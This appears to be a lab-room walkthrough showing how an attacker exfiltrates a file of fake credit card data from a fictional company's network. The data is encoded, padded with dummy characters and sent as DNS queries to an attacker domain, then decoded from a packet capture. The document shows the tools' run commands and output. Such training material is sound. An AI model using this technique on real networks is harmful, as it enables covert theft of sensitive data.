Introduction
In this example scenario an attacker is trying to exfiltrate data to their system and decided their best option is going to be using DNS queries. The attacker's goal is to exfiltrate sensitive information from a machine on SecureCorp's network. In this demo I will be showing the steps that an attacker might take in order to exfiltrate this data from the compromised machine.
The following material has been generated through a fake credit card generator. All credit card information is fake.
The files used for this demo are in my dns-exfil-infil repo on GitHub. You will need files to complete the rest of the room.
- securecorp.txt (https://github.com/kleosdc/dns-exfil-infil/blob/main/securecorp.txt)
- packety.py (https://github.com/kleosdc/dns-exfil-infil/blob/main/packety.py)
- packetGrabber.py (https://github.com/kleosdc/dns-exfil-infil/blob/main/packetyGrabber.py)
1. Text file containing fake credit card numbers, names, addresses.
2. packety.py ( https://github.com/kleosdc/dns-exfil-infil )
When packety.py is executed, you will need to supply the script with the following input:
* Filename: ( This is the file(Text file RECOMMENDED) that you are trying to exfiltrate from SecureCorp's Network )
* Domain name: ( This is where you are going to put your domain name, example my domain name is badbaddoma.in )
python packety.py
Filename: securecorp.txt
Domain Name (Example: badbaddoma.in): badbaddoma.in
[+] Reading file.
[+] Base64 encoded.
[+] Base58 encoded.
Start transmitting... [PRESS ENTER KEY]
The code starts off by reading from the text file. The text file's content will first be Base64 encoded and then Base58 encoded. This leaves us with a long encoded string. The string is then split into 20 character long sections where each section will have 3 'dummy' characters added to it for further obfuscation. One character will be prepended to the encoded string and two characters will be appended.
For example, a section of the encoded data might look like this: '6gfghhjywsas3rg4hda3'. After the extra characters are added it will end up being 'x6gfghhjywsas3rg4hda3yu'.
Once everything is encoded and ready, the code will wait for the user to press "ENTER" in order to start transmitting the queries to the DNS Server. The DNS Server would have already been setup to capture the incoming requests with 'Wireshark' or 'tshark'.
Then it's just a matter of waiting for the transmission to reach 100%. If any of the queries are not delivered on time and in the right order the exfiltrated data will be incomplete and useless to the attacker.
3. packetyGrabber.py ( https://github.com/kleosdc/dns-exfil-infil )
The code will ask the user the following input:
* File captured: This is the .pcap file that you captured on your DNS Server.
* Filename output: This is the file name where the decoded data will be saved.
* Domain name: This will be your domain name.
python3 ~/tools/packety/packetyGrabber.py
File captured: cap-credit-cards.pcap
Filename output: credit-cards.txt
Domain Name (Example: badbaddoma.in): badbaddoma.in
[+] Domain Name set to badbaddoma.in
[+] Filtering for your domain name.
[+] Base 58 decoded.
[+] Base 64 decoded.
[+] Output to credit-cards.txt
If all goes well where no queries have been lost and all the input is correct; a file with the decoded data will be saved in the same directory you ran the code from.